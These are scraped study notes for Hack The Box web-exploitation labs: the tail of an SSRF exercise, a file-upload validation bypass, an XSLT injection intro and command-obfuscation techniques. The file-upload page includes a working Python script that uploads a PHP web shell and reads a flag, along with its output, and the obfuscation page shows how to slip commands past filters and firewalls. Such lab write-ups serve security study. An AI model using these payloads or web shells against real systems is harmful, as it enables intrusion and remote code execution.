experience in cybersecurity, offering unparalleled expertise in threat detection, prevention, and response. We understand the unique challenges facing businesses today and are committed to delivering tailored solutions that meet your specific needs.</p> <p>At DefendTech, innovation is at the heart of everything we do. We continuously research and develop cutting-edge technologies to stay ahead of emerging threats and provide you with the most effective defense strategies. From robust network security solutions to comprehensive risk assessments, we offer a wide range of services designed to fortify your digital defenses and keep your business safe.</p> <p>But our commitment doesn't end with technology – it extends to the relationships we build with our clients. We take the time to understand your goals, challenges, and concerns, working closely with you to develop customized solutions that align with your business objectives.</p> <p>When you partner with DefendTech Innovations, you can trust that you're partnering with a team that is dedicated to your success and committed to keeping your business secure in an increasingly digital world. Let us help you defend what matters most.</p> </div> <div class="col-md-4 align-items-center d-md-flex"> <img class="img-fluid" src="img/girl.jpg" alt="lapi_girl"> </div> </div> </div> <div class="container mb-4 mt-4"> <div class="row"> <div class="col-md-8 mb-3"> <hr> <h2>Schedule an appointment</h2> <input type="date" id="date" name="trip-start" value="2024-01-01" min="2024-01-01" /> <a href="#" class="btn btn-primary" id="datebutton">Check Availability</a> <p id="result"></p> </div> </div> </div> <!--3 cards--> <div class="container-fluid mb-4"> <div class="row bg-light p-md-5"> <div class="col-md-4 mb-3"> <div class="card"> <img class="card-img-top" src="img/1.jpg" alt=""> <div class="card-body"> <h3>Know more about us</h3> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aspernatur atque cupiditate dolorem exercitationem facilis fuga illum impedit in ipsa ipsum minus optio, quia quis reiciendis sed similique sint unde veritatis?</p> </div> <div class="card-footer"> <button class="btn btn-primary">Find out more!!</button> </div> </div> </div> <div class="col-md-4 mb-3"> <div class="card"> <img class="card-img-top" src="img/2.jpg" alt=""> <div class="card-body"> <h3>What we do?</h3> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aspernatur atque cupiditate dolorem exercitationem facilis fuga illum impedit in ipsa ipsum minus optio, quia quis reiciendis sed similique sint unde veritatis?</p> </div> <div class="card-footer"> <button class="btn btn-primary">Find out more!!</button> </div> </div> </div> <div class="col-md-4 mb-3"> <div class="card"> <img class="card-img-top" src="img/3.jpg" alt=""> <div class="card-body"> <h3>Contact Us</h3> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aspernatur atque cupiditate dolorem exercitationem facilis fuga illum impedit in ipsa ipsum minus optio, quia quis reiciendis sed similique sint unde veritatis?</p> </div> <div class="card-footer"> <button class="btn btn-primary">Find out more!!</button> </div> </div> </div> </div> </div> <!--footer--> <div class="py-3 bg-light text-center"> <p class="m-0">Copyright By <a href="#">DefendTech Innovations</a> 2024</p> </div> <!-- Optional JavaScript --> <!-- jQuery first, then Popper.js, then Bootstrap JS --> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> <script> document.getElementById('datebutton').addEventListener('click', function() { var dateValue = document.getElementById('date').value; var xhr = new XMLHttpRequest(); xhr.open('POST', '/index.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { var resp = document.getElementById('result') if (xhr.status === 200) { var responseData = xhr.responseText; if (responseData == "available") { resp.innerText = "Date is available. Please call us to make an appointment!" } else { resp.innerText = "Date is unavailable. Please choose a different date!" } } else { resp.innerText = "Something went wrong!" } } }; xhr.send('dateserver=http://dateserver.htb/availability.php&date=' + encodeURIComponent(dateValue)); }); </script> </body> </html> Copy ┌─[us-academy-3]─[10.10.14.95]─[htb-ac-1067736@htb-o02q5sgppe]─[~] └──╼ [★]$ curl -X POST 10.129.201.127 -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:3306/&date=2024-01-01" Error (1): Received HTTP/0.9 when not allowed Copy $ curl -X POST 10.129.201.127 -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:8000/&date=2024-01-01" HTB{911fc5badf7d65aed95380d536c270f8} Copy Answer: HTB{911fc5badf7d65aed95380d536c270f8} --- # Client-Side Validation | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation.md) . Client-Side Validation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#client-side-validation) ------------------------------------------------------------------------------------------------------------------------------------------------------- * * * Many web applications only rely on front-end JavaScript code to validate the selected file format before it is uploaded and would not upload it if the file is not in the required format (e.g., not an image). However, as the file format validation is happening on the client-side, we can easily bypass it by directly interacting with the server, skipping the front-end validations altogether. We may also modify the front-end code through our browser's dev tools to disable any validation in place. * * * ### Client-Side Validation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#client-side-validation-1) The exercise at the end of this section shows a basic `Profile Image` functionality, frequently seen in web applications that utilize user profile features, like social media web applications: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_profile_image_upload.jpg&width=768&dpr=3&quality=100&sign=42f95df6&sv=2) However, this time, when we get the file selection dialog, we cannot see our `PHP` scripts (or it may be greyed out), as the dialog appears to be limited to image formats only: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_select_file_types.jpg&width=768&dpr=3&quality=100&sign=d84609d6&sv=2) We may still select the `All Files` option to select our `PHP` script anyway, but when we do so, we get an error message saying (`Only images are allowed!`), and the `Upload` button gets disabled: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_select_denied.jpg&width=768&dpr=3&quality=100&sign=a24af9af&sv=2) This indicates some form of file type validation, so we cannot just upload a web shell through the upload form as we did in the previous section. Luckily, all validation appears to be happening on the front-end, as the page never refreshes or sends any HTTP requests after selecting our file. So, we should be able to have complete control over these client-side validations. Any code that runs on the client-side is under our control. While the web server is responsible for sending the front-end code, the rendering and execution of the front-end code happen within our browser. If the web application does not apply any of these validations on the back-end, we should be able to upload any file type. As mentioned earlier, to bypass these protections, we can either `modify the upload request to the back-end server`, or we can `manipulate the front-end code to disable these type validations`. * * * ### Back-end Request Modification[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#back-end-request-modification) Let's start by examining a normal request through `Burp`. When we select an image, we see that it gets reflected as our profile image, and when we click on `Upload`, our profile image gets updated and persists through refreshes. This indicates that our image was uploaded to the server, which is now displaying it back to us: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_normal_request.jpg&width=768&dpr=3&quality=100&sign=2c1d3dba&sv=2) If we capture the upload request with `Burp`, we see the following request being sent by the web application: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_image_upload_request.jpg&width=768&dpr=3&quality=100&sign=7ef12be2&sv=2) The web application appears to be sending a standard HTTP upload request to `/upload.php`. This way, we can now modify this request to meet our needs without having the front-end type validation restrictions. If the back-end server does not validate the uploaded file type, then we should theoretically be able to send any file type/content, and it would be uploaded to the server. The two important parts in the request are `filename="HTB.png"` and the file content at the end of the request. If we modify the `filename` to `shell.php` and modify the content to the web shell we used in the previous section; we would be uploading a `PHP` web shell instead of an image. So, let's capture another image upload request, and then modify it accordingly: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_modified_upload_request.jpg&width=768&dpr=3&quality=100&sign=8b81858&sv=2) Note: We may also modify the `Content-Type` of the uploaded file, though this should not play an important role at this stage, so we'll keep it unmodified. As we can see, our upload request went through, and we got `File successfully uploaded` in the response. So, we may now visit our uploaded file and interact with it and gain remote code execution. * * * ### Disabling Front-end Validation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#disabling-front-end-validation) Another method to bypass client-side validations is through manipulating the front-end code. As these functions are being completely processed within our web browser, we have complete control over them. So, we can modify these scripts or disable them entirely. Then, we may use the upload functionality to upload any file type without needing to utilize `Burp` to capture and modify our requests. To start, we can click \[`CTRL+SHIFT+C`\] to toggle the browser's `Page Inspector`, and then click on the profile image, which is where we trigger the file selector for the upload form: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_element_inspector.jpg&width=768&dpr=3&quality=100&sign=17940fe3&sv=2) This will highlight the following HTML file input on line `18`: Code: html Here, we see that the file input specifies (`.jpg,.jpeg,.png`) as the allowed file types within the file selection dialog. However, we can easily modify this and select `All Files` as we did before, so it is unnecessary to change this part of the page. The more interesting part is `onchange="checkFile(this)"`, which appears to run a JavaScript code whenever we select a file, which appears to be doing the file type validation. To get the details of this function, we can go to the browser's `Console` by clicking \[`CTRL+SHIFT+K`\], and then we can type the function's name (`checkFile`) to get its details: Code: javascript The key thing we take from this function is where it checks whether the file extension is an image, and if it is not, it prints the error message we saw earlier (`Only images are allowed!`) and disables the `Upload` button. We can add `PHP` as one of the allowed extensions or modify the function to remove the extension check. Luckily, we do not need to get into writing and modifying JavaScript code. We can remove this function from the HTML code since its primary use appears to be file type validation, and removing it should not break anything. To do so, we can go back to our inspector, click on the profile image again, double-click on the function name (`checkFile`) on line `18`, and delete it: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_removed_js_function.jpg&width=768&dpr=3&quality=100&sign=a2b385e0&sv=2) Tip: You may also do the same to remove `accept=".jpg,.jpeg,.png"`, which should make selecting the `PHP` shell easier in the file selection dialog, though this is not mandatory, as mentioned earlier. With the `checkFile` function removed from the file input, we should be able to select our `PHP` web shell through the file selection dialog and upload it normally with no validations, similar to what we did in the previous section. Note: The modification we made to the source code is temporary and will not persist through page refreshes, as we are only changing it on the client-side. However, our only need is to bypass the client-side validation, so it should be enough for this purpose. Once we upload our web shell using either of the above methods and then refresh the page, we can use the `Page Inspector` once more with \[`CTRL+SHIFT+C`\], click on the profile image, and we should see the URL of our uploaded web shell: Code: html If we can click on the above link, we will get to our uploaded web shell, which we can interact with to execute commands on the back-end server: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_manual_shell.jpg&width=768&dpr=3&quality=100&sign=ada9df03&sv=2) Note: The steps shown apply to Firefox, as other browsers may have slightly different methods for applying local changes to the source, like the use of `overrides` in Chrome. ### QUESTION[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#question) #### Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice)[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#try-to-bypass-the-client-side-file-type-validations-in-the-above-exercise-then-upload-a-web-shell-to) #### PYTHON AUTOMATION[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#python-automation) Here is the automated python script to execute vulnerability and retrieve the flag OUTPUT A: HTB{cl13n7\_51d3\_v4l1d4710n\_w0n7\_570p\_m3} [PreviousBypassing Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters) [NextBlacklist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters) Last updated 9 months ago * [Client-Side Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#client-side-validation) * [Client-Side Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#client-side-validation-1) * [Back-end Request Modification](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#back-end-request-modification) * [Disabling Front-end Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#disabling-front-end-validation) * [QUESTION](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation#question) Copy <input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png"> Copy function checkFile(File) { ...SNIP... if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') { $('#error_message').text("Only images are allowed!"); File.form.reset(); $("#submit").attr("disabled", true); ...SNIP... } } Copy <img src="/profile_images/shell.php" class="profile-image" id="profile-image"> Copy """ --------------------------- Client Side Validation --------------------------- 1. Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice) """ # Import Request to send web request to the internet import requests import sys import requests import subprocess # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 # ============================ PHP SCRIPT ============================ # php_web_shell_filename = "shell.php" php_content = "<?php system($_REQUEST['cmd']); ?>" # ============================ UPLOAD AND ACCESS URL of TARGET ============================ # upload_url = f"http://{target}/upload.php" # Specify Profile Images access_url = f"http://{target}/profile_images/{php_web_shell_filename}?cmd=cat%20/flag.txt" # ============================ UPLOAD FILE TO TARGET ============================ # # Upload File upload_response = upload_file(php_web_shell_filename, php_content, upload_url) # Display upload Response print_response(upload_response) # ============================ ACESS FLAG AND WEBSHELL RESPONSE of TARGET ============================ # web_shell_response = access_web_shell(access_url) # Display Flag / Web Shell Response print_response(web_shell_response) def upload_file(php_web_shell_filename, php_content, upload_url): # FILE INFORMATION files = { # form field name 'file' may vary by app; change if necessary "uploadFile": (php_web_shell_filename, php_content.encode("utf-8"), "application/x-php"), } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(upload_url, files=files, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### UPLOAD FILE RESPONSE ###############") # return response to upload return r def access_web_shell(access_url): # ============================ ACCESS Web Shell / PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### WEB SHELL RESPONSE WITH FLAG ###############") # return response to with flag return r def print_response(response): r = response # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS,r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS,r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES,r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy ┌──(venv)─(kali㉿kali)-[~/CWES/File-Upload-Attacks/Bypassing-Filters/Client-Side-Validation] └─$ python3 client-side-validation.py 94.237.49.12:44855 ############### UPLOAD FILE RESPONSE ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.49.12:44855/upload.php ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '218', 'Content-Type': 'multipart/form-data; boundary=226207fd17a8bf097682fe4986b2c31e'} ******************** REQUEST BODY (raw): ******************** b'--226207fd17a8bf097682fe4986b2c31e\r\nContent-Disposition: form-data; name="uploadFile"; filename="shell.php"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_REQUEST[\'cmd\']); ?>\r\n--226207fd17a8bf097682fe4986b2c31e--\r\n' ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ############### WEB SHELL RESPONSE WITH FLAG ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://94.237.49.12:44855/profile_images/shell.php?cmd=cat%20/flag.txt ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 41 ******************** RESPONSE (first 300 chars): ******************** HTB{cl13n7_51d3_v4l1d4710n_w0n7_570p_m3} ******************** --- # Intro to XSLT Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection.md) . * * * [eXtensible Stylesheet Language Transformation (XSLT)](https://www.w3.org/TR/xslt-30/) is a language enabling the transformation of XML documents. For instance, it can select specific nodes from an XML document and change the XML structure. * * * ### eXtensible Stylesheet Language Transformation (XSLT)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection#extensible-stylesheet-language-transformation-xslt) Since XSLT operates on XML-based data, we will consider the following sample XML document to explore how XSLT operates: Code: xml Copy <?xml version="1.0" encoding="UTF-8"?> <fruits> <fruit> <name>Apple</name> <color>Red</color> <size>Medium</size> </fruit> <fruit> <name>Banana</name> <color>Yellow</color> <size>Medium</size> </fruit> <fruit> <name>Strawberry</name> <color>Red</color> <size>Small</size> </fruit> </fruits> XSLT can be used to define a data format which is subsequently enriched with data from the XML document. XSLT data is structured similarly to XML. However, it contains XSL elements within nodes prefixed with the `xsl`\-prefix. The following are some commonly used XSL elements: * `<xsl:template>`: This element indicates an XSL template. It can contain a `match` attribute that contains a path in the XML document that the template applies to * `<xsl:value-of>`: This element extracts the value of the XML node specified in the `select` attribute * `<xsl:for-each>`: This element enables looping over all XML nodes specified in the `select` attribute For instance, a simple XSLT document used to output all fruits contained within the XML document as well as their color, may look like this: Code: xslt As we can see, the XSLT document contains a single `<xsl:template>` XSL element that is applied to the `<fruits>` node in the XML document. The template consists of the static string `Here are all the fruits:` and a loop over all `<fruit>` nodes in the XML document. For each of these nodes, the values of the `<name>` and `<color>` nodes are printed using the `<xsl:value-of>` XSL element. Combining the sample XML document with the above XSLT data results in the following output: Here are some additional XSL elements that can be used to narrow down further or customize the data from an XML document: * `<xsl:sort>`: This element specifies how to sort elements in a for loop in the `select` argument. Additionally, a sort order may be specified in the `order` argument * `<xsl:if>`: This element can be used to test for conditions on a node. The condition is specified in the `test` argument. For instance, we can use these XSL elements to create a list of all fruits that are of a medium size ordered by their color in descending order: Code: xslt This results in the following data: XSLT can be used to generate arbitrary output strings. For instance, web applications may use it to embed data from XML documents within an HTML response. * * * ### XSLT Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection#xslt-injection) As the name suggests, XSLT injection occurs whenever user input is inserted into XSL data before output generation by the XSLT processor. This enables an attacker to inject additional XSL elements into the XSL data, which the XSLT processor will execute during output generation. [PreviousXSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection) [NextExploiting XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection) Last updated 10 months ago * [eXtensible Stylesheet Language Transformation (XSLT)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection#extensible-stylesheet-language-transformation-xslt) * [XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection#xslt-injection) Copy <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Here are all the fruits: <xsl:for-each select="fruit"> <xsl:value-of select="name"/> (<xsl:value-of select="color"/>) </xsl:for-each> </xsl:template> </xsl:stylesheet> Copy Here are all the fruits:     Apple (Red)     Banana (Yellow)     Strawberry (Red) Copy <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Here are all fruits of medium size ordered by their color: <xsl:for-each select="fruit"> <xsl:sort select="color" order="descending" /> <xsl:if test="size = 'Medium'"> <xsl:value-of select="name"/> (<xsl:value-of select="color"/>) </xsl:if> </xsl:for-each> </xsl:template> </xsl:stylesheet> Copy Here are all fruits of medium size ordered by their color: Banana (Yellow) Apple (Red) --- # Advanced Command Obfuscation | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation.md) . Advanced Command Obfuscation[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#advanced-command-obfuscation) --------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * In some instances, we may be dealing with advanced filtering solutions, like Web Application Firewalls (WAFs), and basic evasion techniques may not necessarily work. We can utilize more advanced techniques for such occasions, which make detecting the injected commands much less likely. * * * ### Case Manipulation[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#case-manipulation) One command obfuscation technique we can use is case manipulation, like inverting the character cases of a command (e.g. `WHOAMI`) or alternating between cases (e.g. `WhOaMi`). This usually works because a command blacklist may not check for different case variations of a single word, as Linux systems are case-sensitive. If we are dealing with a Windows server, we can change the casing of the characters of the command and send it. In Windows, commands for PowerShell and CMD are case-insensitive, meaning they will execute the command regardless of what case it is written in: Advanced Command Obfuscation Copy PS C:\htb> WhOaMi 21y4d However, when it comes to Linux and a bash shell, which are case-sensitive, as mentioned earlier, we have to get a bit creative and find a command that turns the command into an all-lowercase word. One working command we can use is the following: Advanced Command Obfuscation Copy 21y4d@htb[/htb]$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi") 21y4d As we can see, the command did work, even though the word we provided was (`WhOaMi`). This command uses `tr` to replace all upper-case characters with lower-case characters, which results in an all lower-case character command. However, if we try to use the above command with the `Host Checker` web application, we will see that it still gets blocked: **Burp POST Request** ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_commands_3.jpg&width=768&dpr=3&quality=100&sign=a4272b9f&sv=2) Screenshot of a web app interface showing a POST request to 127.0.0.1 with headers and a command injection attempt. The response section displays HTML for a 'Host Checker' form, allowing IP input and showing 'Invalid input' as a result. `Can you guess why?` It is because the command above contains spaces, which is a filtered character in our web application, as we have seen before. So, with such techniques, `we must always be sure not to use any filtered characters`, otherwise our requests will fail, and we may think the techniques failed to work. Once we replace the spaces with tabs (`%09`), we see that the command works perfectly: **Burp POST Request** ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_commands_4.jpg&width=768&dpr=3&quality=100&sign=5d8493a0&sv=2) Screenshot of a web app interface showing a POST request to 127.0.0.1 with headers and a command injection attempt. The response section displays HTML for a 'Host Checker' form, allowing IP input and showing ping results for 127.0.0.1 with user 'www-data'. There are many other commands we may use for the same purpose, like the following: Code: bash Exercise: Can you test the above command to see if it works on your Linux VM, and then try to avoid using filtered characters to get it working on the web application? * * * ### Reversed Commands[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#reversed-commands) Another command obfuscation technique we will discuss is reversing commands and having a command template that switches them back and executes them in real-time. In this case, we will be writing `imaohw` instead of `whoami` to avoid triggering the blacklisted command. We can get creative with such techniques and create our own Linux/Windows commands that eventually execute the command without ever containing the actual command words. First, we'd have to get the reversed string of our command in our terminal, as follows: Advanced Command Obfuscation Then, we can execute the original command by reversing it back in a sub-shell (`$()`), as follows: Advanced Command Obfuscation We see that even though the command does not contain the actual `whoami` word, it does work the same and provides the expected output. We can also test this command with our exercise, and it indeed works: **Burp POST Request** ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_commands_5.jpg&width=768&dpr=3&quality=100&sign=1cfc0ff5&sv=2) Screenshot of a web app interface showing a POST request to 127.0.0.1 with headers and a command injection attempt. The response section displays HTML for a 'Host Checker' form, allowing IP input and showing ping results for 127.0.0.1 with user 'www-data'. Tip: If you wanted to bypass a character filter with the above method, you'd have to reverse them as well, or include them when reversing the original command. The same can be applied in `Windows.` We can first reverse a string, as follows: Advanced Command Obfuscation We can now use the below command to execute a reversed string with a PowerShell sub-shell (`iex "$()"`), as follows: Advanced Command Obfuscation * * * ### Encoded Commands[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#encoded-commands) The final technique we will discuss is helpful for commands containing filtered characters or characters that may be URL-decoded by the server. This may allow for the command to get messed up by the time it reaches the shell and eventually fails to execute. Instead of copying an existing command online, we will try to create our own unique obfuscation command this time. This way, it is much less likely to be denied by a filter or a WAF. The command we create will be unique to each case, depending on what characters are allowed and the level of security on the server. We can utilize various encoding tools, like `base64` (for b64 encoding) or `xxd` (for hex encoding). Let's take `base64` as an example. First, we'll encode the payload we want to execute (which includes filtered characters): Advanced Command Obfuscation Now we can create a command that will decode the encoded string in a sub-shell (`$()`), and then pass it to `bash` to be executed (i.e. `bash<<<`), as follows: Advanced Command Obfuscation As we can see, the above command executes the command perfectly. We did not include any filtered characters and avoided encoded characters that may lead the command to fail to execute. Tip: Note that we are using `<<<` to avoid using a pipe `|`, which is a filtered character. Now we can use this command (once we replace the spaces) to execute the same command through command injection: **Burp POST Request** ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_commands_6.jpg&width=768&dpr=3&quality=100&sign=a3c80eb6&sv=2) Screenshot of a web app interface showing a POST request to 127.0.0.1 with headers and a command injection attempt using base64 decoding. The response section displays HTML for a 'Host Checker' form, allowing IP input and showing ping results for 127.0.0.1 with user 'www-data' and additional user information. Even if some commands were filtered, like `bash` or `base64`, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like `sh` for command execution and `openssl` for b64 decoding, or `xxd` for hex decoding. We use the same technique with Windows as well. First, we need to base64 encode our string, as follows: Advanced Command Obfuscation We may also achieve the same thing on Linux, but we would have to convert the 